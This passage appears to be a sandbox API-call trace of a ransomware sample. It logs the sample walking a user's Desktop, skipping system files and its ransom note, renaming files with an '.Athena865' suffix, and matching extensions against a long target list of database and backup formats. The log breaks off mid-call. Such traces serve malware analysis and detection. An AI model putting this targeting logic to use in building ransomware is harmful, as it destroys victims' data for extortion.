RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.369] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.370] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.370] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.370] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1760, lpName=0x0) returned 0x17c [0050.370] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1760) returned 0x100000 [0050.370] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.371] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.371] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.372] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.372] CloseHandle (hObject=0x17c) returned 1 [0050.372] CloseHandle (hObject=0x154) returned 1 [0050.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.373] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce04d0, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xeb7b7140, ftLastAccessTime.dwHighDateTime=0x1d4cb68, ftLastWriteTime.dwLowDateTime=0xeb7b7140, ftLastWriteTime.dwHighDateTime=0x1d4cb68, nFileSizeHigh=0x0, nFileSizeLow=0x9c05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9JYn.mkv", cAlternateFileName="")) returned 1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2=".") returned 1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="..") returned 1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="windows") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="bootmgr") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="temp") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="pagefile.sys") returned -1 [0050.373] lstrcmpiW (lpString1="9JYn.mkv", lpString2="boot") returned -1 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2="ids.txt") returned -1 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2="ntuser.dat") returned -1 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2="perflogs") returned -1 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2="MSBuild") returned -1 [0050.374] lstrlenW (lpString="9JYn.mkv") returned 8 [0050.374] lstrcpyW (in: lpString1=0x241e8b6, lpString2="9JYn.mkv" | out: lpString1="9JYn.mkv") returned="9JYn.mkv" [0050.374] lstrlenW (lpString="9JYn.mkv") returned 8 [0050.374] lstrlenW (lpString="Athena865") returned 9 [0050.374] lstrlenW (lpString=".dll") returned 4 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2=".dll") returned 1 [0050.374] lstrlenW (lpString=".lnk") returned 4 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2=".lnk") returned 1 [0050.374] lstrlenW (lpString=".ini") returned 4 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2=".ini") returned 1 [0050.374] lstrlenW (lpString=".sys") returned 4 [0050.374] lstrcmpiW (lpString1="9JYn.mkv", lpString2=".sys") returned 1 [0050.374] lstrlenW (lpString="9JYn.mkv") returned 8 [0050.374] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\9JYn.mkv.Athena865") returned 73 [0050.374] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\9JYn.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\9jyn.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\9JYn.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\9jyn.mkv.athena865"), dwFlags=0x1) returned 1 [0050.376] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\9JYn.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\9jyn.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.376] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39941) returned 1 [0050.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.376] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.377] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.377] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.377] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9f10, lpName=0x0) returned 0x17c [0050.377] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9f10) returned 0x100000 [0050.379] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.380] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.380] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.381] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.381] CloseHandle (hObject=0x17c) returned 1 [0050.381] CloseHandle (hObject=0x154) returned 1 [0050.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.384] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16f77940, ftCreationTime.dwHighDateTime=0x1d4c7cc, ftLastAccessTime.dwLowDateTime=0xcf073fd0, ftLastAccessTime.dwHighDateTime=0x1d4c898, ftLastWriteTime.dwLowDateTime=0xcf073fd0, ftLastWriteTime.dwHighDateTime=0x1d4c898, nFileSizeHigh=0x0, nFileSizeLow=0x3dee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A6RNjzW.avi", cAlternateFileName="")) returned 1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2=".") returned 1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="..") returned 1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="windows") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="bootmgr") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="temp") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="pagefile.sys") returned -1 [0050.384] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="boot") returned -1 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="ids.txt") returned -1 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="ntuser.dat") returned -1 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="perflogs") returned -1 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2="MSBuild") returned -1 [0050.385] lstrlenW (lpString="A6RNjzW.avi") returned 11 [0050.385] lstrcpyW (in: lpString1=0x241e8b6, lpString2="A6RNjzW.avi" | out: lpString1="A6RNjzW.avi") returned="A6RNjzW.avi" [0050.385] lstrlenW (lpString="A6RNjzW.avi") returned 11 [0050.385] lstrlenW (lpString="Athena865") returned 9 [0050.385] lstrcmpiW (lpString1="RNjzW.avi", lpString2="Athena865") returned 1 [0050.385] lstrlenW (lpString=".dll") returned 4 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2=".dll") returned 1 [0050.385] lstrlenW (lpString=".lnk") returned 4 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2=".lnk") returned 1 [0050.385] lstrlenW (lpString=".ini") returned 4 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2=".ini") returned 1 [0050.385] lstrlenW (lpString=".sys") returned 4 [0050.385] lstrcmpiW (lpString1="A6RNjzW.avi", lpString2=".sys") returned 1 [0050.385] lstrlenW (lpString="A6RNjzW.avi") returned 11 [0050.385] lstrlenW (lpString="bak") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1 [0050.385] lstrlenW (lpString="ba_") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1 [0050.385] lstrlenW (lpString="dbb") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1 [0050.385] lstrlenW (lpString="vmdk") returned 4 [0050.385] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1 [0050.385] lstrlenW (lpString="rar") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1 [0050.385] lstrlenW (lpString="zip") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1 [0050.385] lstrlenW (lpString="tgz") returned 3 [0050.385] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1 [0050.386] lstrlenW (lpString="vbox") returned 4 [0050.386] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1 [0050.386] lstrlenW (lpString="vdi") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1 [0050.386] lstrlenW (lpString="vhd") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1 [0050.386] lstrlenW (lpString="vhdx") returned 4 [0050.386] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1 [0050.386] lstrlenW (lpString="avhd") returned 4 [0050.386] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1 [0050.386] lstrlenW (lpString="db") returned 2 [0050.386] lstrcmpiW (lpString1="vi", lpString2="db") returned 1 [0050.386] lstrlenW (lpString="db2") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1 [0050.386] lstrlenW (lpString="db3") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1 [0050.386] lstrlenW (lpString="dbf") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1 [0050.386] lstrlenW (lpString="mdf") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1 [0050.386] lstrlenW (lpString="mdb") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1 [0050.386] lstrlenW (lpString="sql") returned 3 [0050.386] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1 [0050.386] lstrlenW (lpString="sqlite") returned 6 [0050.386] lstrcmpiW (lpString1="zW.avi", lpString2="sqlite") returned 1 [0050.386] lstrlenW (lpString="sqlite3") returned 7 [0050.386] lstrcmpiW (lpString1="jzW.avi", lpString2="sqlite3") returned -1 [0050.386] lstrlenW (lpString="sqlitedb") returned 8 [0050.386] lstrcmpiW (lpString1="NjzW.avi", lpString2="sqlitedb") returned -1 [0050.386] lstrlenW (lpString="xml") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1 [0050.387] lstrlenW (lpString="$er") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1 [0050.387] lstrlenW (lpString="4dd") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1 [0050.387] lstrlenW (lpString="4dl") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1 [0050.387] lstrlenW (lpString="^^^") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1 [0050.387] lstrlenW (lpString="abs") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1 [0050.387] lstrlenW (lpString="abx") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1 [0050.387] lstrlenW (lpString="accdb") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accdb") returned 1 [0050.387] lstrlenW (lpString="accdc") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accdc") returned 1 [0050.387] lstrlenW (lpString="accde") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accde") returned 1 [0050.387] lstrlenW (lpString="accdr") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accdr") returned 1 [0050.387] lstrlenW (lpString="accdt") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accdt") returned 1 [0050.387] lstrlenW (lpString="accdw") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accdw") returned 1 [0050.387] lstrlenW (lpString="accft") returned 5 [0050.387] lstrcmpiW (lpString1="W.avi", lpString2="accft") returned 1 [0050.387] lstrlenW (lpString="adb") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0050.387] lstrlenW (lpString="adb") returned 3 [0050.387] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0050.387] lstrlenW (lpString="ade") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1 [0050.388] lstrlenW (lpString="adf") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1 [0050.388] lstrlenW (lpString="adn") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1 [0050.388] lstrlenW (lpString="adp") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1 [0050.388] lstrlenW (lpString="alf") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1 [0050.388] lstrlenW (lpString="ask") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1 [0050.388] lstrlenW (lpString="btr") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1 [0050.388] lstrlenW (lpString="cat") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1 [0050.388] lstrlenW (lpString="cdb") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1 [0050.388] lstrlenW (lpString="ckp") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1 [0050.388] lstrlenW (lpString="cma") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1 [0050.388] lstrlenW (lpString="cpd") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1 [0050.388] lstrlenW (lpString="dacpac") returned 6 [0050.388] lstrcmpiW (lpString1="zW.avi", lpString2="dacpac") returned 1 [0050.388] lstrlenW (lpString="dad") returned 3 [0050.388] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1 [0050.388] lstrlenW (lpString="dadiagrams") returned 10 [0050.388] lstrcmpiW (lpString1="6RNjzW.avi", lpString2="dadiagrams") returned -1 [0050.388] lstrlenW (lpString="daschema") returned 8 [0050.388] lstrcmpiW (lpString1="NjzW.avi", lpString2="daschema") returned 1 [0050.388] lstrlenW (lpString="db-journal") returned 10 [0050.389] lstrcmpiW (lpString1="6RNjzW.avi", lpString2="db-journal") returned -1 [0050.389] lstrlenW (lpString="db-shm") returned 6 [0050.389] lstrcmpiW (lpString1="zW.avi", lpString2="db-shm") returned 1 [0050.389] lstrlenW (lpString="db-wal") returned 6 [0050.389] lstrcmpiW (lpString1="zW.avi", lpString2="db-wal") returned 1 [0050.389] lstrlenW (lpString="dbc") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1 [0050.389] lstrlenW (lpString="dbs") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1 [0050.389] lstrlenW (lpString="dbt") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1 [0050.389] lstrlenW (lpString="dbv") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1 [0050.389] lstrlenW (lpString="dbx") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1 [0050.389] lstrlenW (lpString="dcb") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1 [0050.389] lstrlenW (lpString="dct") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1 [0050.389] lstrlenW (lpString="dcx") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1 [0050.389] lstrlenW (lpString="ddl") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1 [0050.389] lstrlenW (lpString="dlis") returned 4 [0050.389] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1 [0050.389] lstrlenW (lpString="dp1") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1 [0050.389] lstrlenW (lpString="dqy") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1 [0050.389] lstrlenW (lpString="dsk") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1 [0050.389] lstrlenW (lpString="dsn") returned 3 [0050.389] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1 [0050.390] lstrlenW (lpString="dtsx") returned 4 [0050.390] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1 [0050.390] lstrlenW (lpString="dxl") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1 [0050.390] lstrlenW (lpString="eco") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1 [0050.390] lstrlenW (lpString="ecx") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1 [0050.390] lstrlenW (lpString="edb") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1 [0050.390] lstrlenW (lpString="epim") returned 4 [0050.390] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1 [0050.390] lstrlenW (lpString="fcd") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1 [0050.390] lstrlenW (lpString="fdb") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1 [0050.390] lstrlenW (lpString="fic") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1 [0050.390] lstrlenW (lpString="flexolibrary") returned 12 [0050.390] lstrlenW (lpString="fm5") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1 [0050.390] lstrlenW (lpString="fmp") returned 3 [0050.390] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1 [0050.390] lstrlenW (lpString="fmp12") returned 5 [0050.390] lstrcmpiW (lpString1="W.avi", lpString2="fmp12") returned 1 [0050.390] lstrlenW (lpString="fmpsl") returned 5 [0050.390] lstrcmpiW (lpString1="W.avi", lpString2="fmpsl") returned 1 [0050.391] lstrlenW (lpString="fol") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1 [0050.391] lstrlenW (lpString="fp3") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1 [0050.391] lstrlenW (lpString="fp4") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1 [0050.391] lstrlenW (lpString="fp5") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1 [0050.391] lstrlenW (lpString="fp7") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1 [0050.391] lstrlenW (lpString="fpt") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1 [0050.391] lstrlenW (lpString="frm") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1 [0050.391] lstrlenW (lpString="gdb") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0050.391] lstrlenW (lpString="gdb") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0050.391] lstrlenW (lpString="grdb") returned 4 [0050.391] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1 [0050.391] lstrlenW (lpString="gwi") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1 [0050.391] lstrlenW (lpString="hdb") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1 [0050.391] lstrlenW (lpString="his") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="his") returned -1 [0050.391] lstrlenW (lpString="ib") returned 2 [0050.391] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1 [0050.391] lstrlenW (lpString="idb") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1 [0050.391] lstrlenW (lpString="ihx") returned 3 [0050.391] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1 [0050.391] lstrlenW (lpString="itdb") returned 4 [0050.392] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1 [0050.392] lstrlenW (lpString="itw") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1 [0050.392] lstrlenW (lpString="jet") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1 [0050.392] lstrlenW (lpString="jtx") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1 [0050.392] lstrlenW (lpString="kdb") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1 [0050.392] lstrlenW (lpString="kexi") returned 4 [0050.392] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1 [0050.392] lstrlenW (lpString="kexic") returned 5 [0050.392] lstrcmpiW (lpString1="W.avi", lpString2="kexic") returned 1 [0050.392] lstrlenW (lpString="kexis") returned 5 [0050.392] lstrcmpiW (lpString1="W.avi", lpString2="kexis") returned 1 [0050.392] lstrlenW (lpString="lgc") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1 [0050.392] lstrlenW (lpString="lwx") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1 [0050.392] lstrlenW (lpString="maf") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1 [0050.392] lstrlenW (lpString="maq") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1 [0050.392] lstrlenW (lpString="mar") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1 [0050.392] lstrlenW (lpString="marshal") returned 7 [0050.392] lstrcmpiW (lpString1="jzW.avi", lpString2="marshal") returned -1 [0050.392] lstrlenW (lpString="mas") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1 [0050.392] lstrlenW (lpString="mav") returned 3 [0050.392] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1 [0050.392] lstrlenW (lpString="maw") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1 [0050.393] lstrlenW (lpString="mdbhtml") returned 7 [0050.393] lstrcmpiW (lpString1="jzW.avi", lpString2="mdbhtml") returned -1 [0050.393] lstrlenW (lpString="mdn") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1 [0050.393] lstrlenW (lpString="mdt") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1 [0050.393] lstrlenW (lpString="mfd") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1 [0050.393] lstrlenW (lpString="mpd") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1 [0050.393] lstrlenW (lpString="mrg") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1 [0050.393] lstrlenW (lpString="mud") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1 [0050.393] lstrlenW (lpString="mwb") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1 [0050.393] lstrlenW (lpString="myd") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1 [0050.393] lstrlenW (lpString="ndf") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1 [0050.393] lstrlenW (lpString="nnt") returned 3 [0050.393] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1 [0050.393] lstrlenW (lpString="nrmlib") returned 6 [0050.393] lstrcmpiW 